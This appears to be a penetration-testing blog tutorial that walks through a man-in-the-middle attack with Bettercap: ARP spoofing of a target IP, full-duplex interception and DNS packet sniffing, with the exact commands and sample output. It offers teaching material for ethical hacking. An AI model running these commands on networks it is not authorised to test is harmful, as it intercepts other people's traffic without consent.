Understanding Man-in-the-Middle Attacks: A Step-by-Step Guide Using Bettercap

Key takeaways

• A man-in-the-middle attack puts the attacker between two parties so traffic can be read or changed.
• HTTPS with valid certificates and HSTS makes simple interception hard.
• Run bettercap only on lab networks you own.

Introduction

A Man-in-the-Middle (MITM) attack is a network attack where an attacker intercepts and manipulates communication between two parties without their knowledge. In this blog, we explore how to use Bettercap, a powerful tool, to perform a MITM attack on a local network. This guide is intended for educational purposes only to help ethical hackers and cybersecurity professionals understand vulnerabilities and secure systems.

Disclaimer

This guide is for educational purposes only. Unauthorized use of these techniques is illegal. Always have explicit permission before performing penetration tests.

Requirements

1. Hardware

• A computer running Kali Linux or any Linux distribution with Bettercap installed.
• Access to a local network with devices to target.

2. Software

• Bettercap (pre-installed in Kali Linux or can be installed with apt).
• Wireshark (optional) for packet analysis.

3. Privileges

• Root or administrative privileges on your machine.
• Permission to test on the target network.

4. Network Details

• Target IP address.
• Gateway IP address.

Bettercap MITM Setup

Step 1: Install Bettercap

To install Bettercap, use the following commands:

sudo apt update
sudo apt install bettercap

Verify the installation:

bettercap --version

Step 2: Start Bettercap

Start Bettercap with root privileges:

sudo bettercap

This will open the Bettercap interactive shell.

Step 3: Enable ARP Spoofing

ARP spoofing tricks devices into thinking the attacker's computer is the gateway, allowing traffic interception.

1. Set the Target
   Specify the target device or subnet. Example for a specific IP:

   set arp.spoof.targets 192.168.230.134
   

2. Enable ARP Spoofing
   Activate ARP spoofing to intercept traffic:

   arp.spoof on
   

3. Enable Full Duplex
   Allow bidirectional interception of traffic:

   set arp.spoof.fullduplex true

   

Step 4: Enable Packet Sniffing

Capture and analyze network traffic with the following steps:

1. Start Sniffing Packets
   Enable the packet sniffing module:

   net.sniff on
   

2. Apply Filters (Optional)
   To capture specific traffic types, like DNS queries:

   set net.sniff.filter udp port 53

   

Step 5: Analyze Captured Traffic

Captured traffic logs are displayed in real-time. Example of a DNS query interception:

[net.sniff.dns] dns gateway > 192.168.230.135 : localdomain is Non-Existent Domain

For deeper analysis, use Wireshark:

sudo wireshark

Step 6: Stop the Attack

To stop the attack and ensure no disruption to the network:

1. Disable ARP Spoofing:

   arp.spoof off
   

2. Stop Packet Sniffing:

   net.sniff off
   

3. Exit Bettercap:

   quit

   

Conclusion

This guide provides a step-by-step walkthrough for performing a MITM attack using Bettercap. From ARP spoofing to packet sniffing, these techniques demonstrate the importance of securing networks against such vulnerabilities. Always remember:

With great power comes great responsibility.

These tools and techniques should only be used ethically and with explicit permission. By understanding these vulnerabilities, you can better secure your systems against potential threats.

To take this further with guided labs and an instructor, see our EC-Council ethical hacking programme.

Related reading

• How to Use Bettercap for Network Penetration Testing: A Beginner's Guide to Detection and Defence
• IRDP Spoofing Attack Explained | ICMP Redirect Vulnerabilities & Prevention (2026 Guide)
• Wireshark | The Ultimate Network Protocol Analyzer for Beginners

Reference

For the authoritative details, see Kali Linux documentation.